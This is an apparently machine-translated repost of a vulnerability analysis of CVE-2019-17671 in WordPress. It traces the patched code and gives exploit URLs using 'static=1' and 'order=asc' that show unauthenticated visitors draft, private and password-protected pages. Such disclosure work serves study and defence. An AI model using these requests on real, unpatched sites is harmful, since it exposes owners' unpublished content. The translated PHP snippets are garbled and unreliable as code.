In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-18 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)05/31 Report--
This article introduces you how to view WordPress unauthorized articles, the content is very detailed, interested friends can refer to, hope to be helpful to you.
Recently, WordPress released the latest version v5.2.4 and fixed a number of security vulnerabilities. We will analyze one of the vulnerabilities, CVE-2019-17671.
Information collection
The vulnerability was discovered and reported by security expert J.D.Grimes and disclosed how to exploit the vulnerability to view unauthorized articles. But I can't find any relevant PoC yet, so first we need to gather as much information as possible about this vulnerability. First, I looked at the claims of different security vendors about the vulnerability, most of which quoted the same sentence: "this vulnerability may allow others to view unauthorized articles in WordPress."
references
1. Https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
2. Https://blog.wpsec.com/wordpress-5-2-4-security-release/
3. Https://www.reddit.com/r/netsec/comments/di9kf2/wordpress_524_security_release_breakdown/f3vbuyh/
Based on the information gathered, I found the 5.2-branch branch in WordPress's SVN repository / GitHub library, clicked on the nearest commit, and then looked at the relevant commit that mentioned "unauthenticated posts" or "viewing posts". At this point, I found a relevant commit:f82ed753cf00329a5e41f2cb6dc521085136f308.
Patch analysis
This commit only modifies two lines of code, removes the static keyword, and modifies some if conditional statements:
According to my guess, the deleted static keyword is directly related to this vulnerability. Line 731 of wp-includes/class-wp-query.php starts to include the parse_query function, which filters and parses all incoming query parameters ($_ GET).
The code from lines 696 to 922 can set $this- > is_single, $this- > is_attachment, and $this- > is_page based on the given parameters. These conditional branches are all implemented based on else if, but only one of them is critical:
/ / If year, month, day, hour, minute, and second are set, a single// post is being queried.} elseif (''! = $qv ['static'] | |'! = $qv ['pagename'] | |! Empty ($qv ['page_id']) {$this- > is_page = true;$this- > is_single = false;} else {/ / Look for archive queries. Dates, categories, authors, search, post type archives.
We certainly don't want to set parameters like attachment, name, p, or hour, because these parameters can bypass conditional branches in the code. However, we cannot directly set pagename or page_id, because we do not know the values of these parameters, and these parameters may cause access control checks to fail.
Here, we need to use static=1 in the parameter list. After studying for a long time, I found the get_posts () function, which uses parsed parameters to query the contents of the database:
Public function get_posts () {global $wpdb;$this- > parse_query (); [..]
After debugging with var_dump in multiple locations, I found the following code:
/ / Check post status to determine if post should be displayed. If (! Empty ($this- > posts) & & ($this- > is_single | | $this- > is_page) {$status = get_post_status ($this- > posts [0]); if ('attachment' = $this- > posts [0]-> post_type & & 0 = (int) $this- > posts [0]-> post_parent) {$this- > is_page = false; $this- > is_single = true $this- > is_attachment = true;} $post_status_obj = get_post_status_object ($status); / / PoC: Let's see what we have / / var_dump ($q_status); / / var_dump ($post_status_obj); / / If the post_status was specifically requested, let it pass through. If (! $post_status_obj- > public & &! In_array ($status, $q_status) {/ / var_dump ("PoC: Incorrect status!:-/"); if (! Is_user_logged_in () {/ / User must be logged in to view unpublished posts. This- > posts = array (); / / var_dump ("PoC: No posts:-(");} else {if ($post_status_obj- > protected) {/ / User must have edit permissions on the draft to preview. If (! Current_user_can ($edit_cap, $this- > posts [0]-> ID)) {$this- > posts = array ();} else {$this- > is_preview = true If ('future'! = $status) {$this- > posts [0]-> post_date = current_time (' mysql');} elseif ($post_status_obj- > private) {if (! Current_user_can ($read_cap, $this- > posts [0]-> ID)) {$this- > posts = array ();}} else {$this- > posts = array ();}
Apart from static=1, we do not set any specific query parameters. We insert var_dump ($this- > request) before the statement $this- > posts = $wpdb- > get_results ($this- > request), and the output is as follows:
String (112) "SELECT wp_posts.* FROM wp_posts WHERE 1 AND wp_posts.post_type = 'page' ORDER BY wp_posts.post_date DESC"
This statement returns all pages in the database, including pages of password protected, pending, and drafts categories. So,! The value of empty ($this- > posts) & & ($this- > is_single | | $this- > is_page) corresponds to true.
Next, the function checks the status of the first article "$status = get_post_status ($this- > posts [0]);":
If (! $post_status_obj- > public & &! In_array ($status, $q_status)) {
If the status of the first article is not public, further access control checks are performed. For example, when the user is unauthorized, the code will clear $this- > posts.
Vulnerability exploitation
The way to exploit this vulnerability is also very simple. First, we can control the query flow so that the status of the first article is published, but the return array contains multiple articles.
We first need to create some test pages: a page in the published state and a page in the draft state.
I'm using pages here because post_type='page' is the default setting for WordPress, but if necessary, we can set & post_type=post so that we can change the article type to post_type=' post'.
At present, we know that if you add static=1 to WordPress's URL, you can see the private content of the website. Insert var_dump ($this- > posts) before the access control check code, and you can see that the URL of http://wordpress.local/?static=1 returns the following:
Array (2) {[0] = > object (WP_Post) # 763 (24) {["ID"] = > int (43) ["post_author"] = > string (1) "1" ["post_date"] = > string (19) "2019-10-20 03:55:29" ["post_date_gmt"] = > string (19) "0000-00-0000: 00:00" ["post_content"] = > string (79)
A draft with secret content
"[" post_title "] = > string (7)" A draft "[" post_excerpt "] = > string (0)" ["post_status"] = > string (5) "draft" ["comment_status"] = > string (6) "closed" ["ping_status"] = > string (6) "closed" ["post_password"] = > string (0) "[" post_ " Name "] = > string (0)"[" to_ping "] = > string (0)" ["pinged"] = > string (0) "[" post_modified "] = > string (19)" 2019-10-20 03:55:29 "[" post_modified_gmt "] = > string (19)" 2019-10-20 03:55:29 "[" post_content_filtered "] = > string (0) ) "[" post_parent "] = > int (0) [" guid "] = > string (34)" http://wordpress.local/?page_id=43" ["menu_order"] = > int (0) ["post_type"] = > string (4) "page" ["post_mime_type"] = > string (0) "[" comment_count "] = > string (1)" 0 " ["filter"] = > string (3) "raw"} [1] = > object (WP_Post) # 764 (24) {["ID"] = > int (41) ["post_author"] = > string (1) "1" ["post_date"] = > string (19) "2019-10-20 03:54:50" ["post_date_gmt"] = > string (19) "2019-10-10- 20 03:54:50 "[" post_content "] = > string (66)"
Public content
"[" post_title "] = > string (13)" A public page "[" post_excerpt "] = > string (0)" ["post_status"] = > string (7) "publish" ["comment_status"] = > string (6) "closed" ["ping_status"] = > string (6) "closed" ["post_password"] = > string (0) "[" post " _ name "] = > string (13)" a-public-page "[" to_ping "] = > string (0)"[" pinged "] = > string (0)" ["post_modified"] = > string (19) "2019-10-20 03:55:10" ["post_modified_gmt"] = > string (19) "2019-10-20 03:55:10" ["post_content_filtered" ] = > string (0) "[" post_parent "] = > int (0) [" guid "] = > string (34)" http://wordpress.local/?page_id=41" ["menu_order"] = > int (0) ["post_type"] = > string (4) "page" ["post_mime_type"] = > string (0) "[" comment_count "] = > string ( 1) "0" ["filter"] = > string (3) "raw"}}
As you can see, the first page in the array is a draft (["post_status"] = > string (5) "draft"), so the page has no content:
However, we can use other methods to control what is returned:
1 、 order with asc or desc
2 、 orderby
3. M with m=YYYY, m=YYYYMM orm = YYYYMMDD date format
4 、...
In this scenario, we only need to reverse the order of the returned elements to achieve vulnerability exploitation.
Next, visit http://wordpress.local/?static=1&order=asc and we can see the private content:
In addition, we can also take advantage of this vulnerability to view password protected and private status articles:
On how to view WordPress unauthorized articles to share here, I hope the above content can be of some help to you, can learn more knowledge. If you think the article is good, you can share it for more people to see.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.